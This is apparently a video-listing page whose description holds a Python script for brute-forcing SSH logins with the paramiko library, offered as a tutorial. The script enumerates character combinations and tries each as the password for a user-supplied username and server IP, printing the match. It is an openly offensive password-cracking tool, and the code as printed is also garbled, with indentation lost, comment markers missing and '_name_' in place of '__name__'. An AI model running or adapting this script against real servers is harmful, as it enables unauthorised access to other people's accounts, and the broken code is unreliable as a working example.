Скачать или смотреть Working with Paramiko Library to attempt to log in to SSH Server using Python

Working with Paramiko Library to attempt to log in to SSH Server using Python
Here is the sample code on github : https://github.com/cloudsecuritylabs/...

Here is code as of today. You need to set up your own environment for testing. Various python concepts are in use in this code. Read up some more if you have any questions.

import itertools as it
import string
import paramiko

class Bruteforce:
def __init__(self, charset, length, ip ):
self.charset = charset
self.length = length
self.ip = ip

def crack_password(self, username):
client = self.create_client()
for guess in self.guesses:
if connection is successful, then bruteforce actually worked
try:
client.connect(self.ip, username=username, password=guess, timeout=.01)
print('Cracked the password!!')
print(guess)
return guess
if you are getting an exception, most likely, your username/password combo is not great
except:
print(f'{guess} is not a match')
finally:
client.close()


this is a great way to return an iterable object
@property
def guesses(self):
for guess in it.product(self.charset, repeat=self.length):
yield "".join(guess) # will create a generator

create a client
def create_client(self):
client_policy = paramiko.AutoAddPolicy()
client = paramiko.SSHClient()
without setting this paramiko will fail to run
this one updates trusted hosts
client.set_missing_host_key_policy(client_policy)
return client


def main():
note b.guess is iterable
user_name = input("Enter the username you would like to bruteforce: ")
server_IP = input("Enter the SSH server IP address :")
password_length = int(input("Enter the length of the password to try brute-forcing: "))
update password complexity based on requirement in your password
char_set = string.ascii_letters + string.digits
char_set = string.ascii_letters
b = Bruteforce(char_set, password_length, server_IP)
b.crack_password(username=user_name)

if _name_ == '__main__':
main()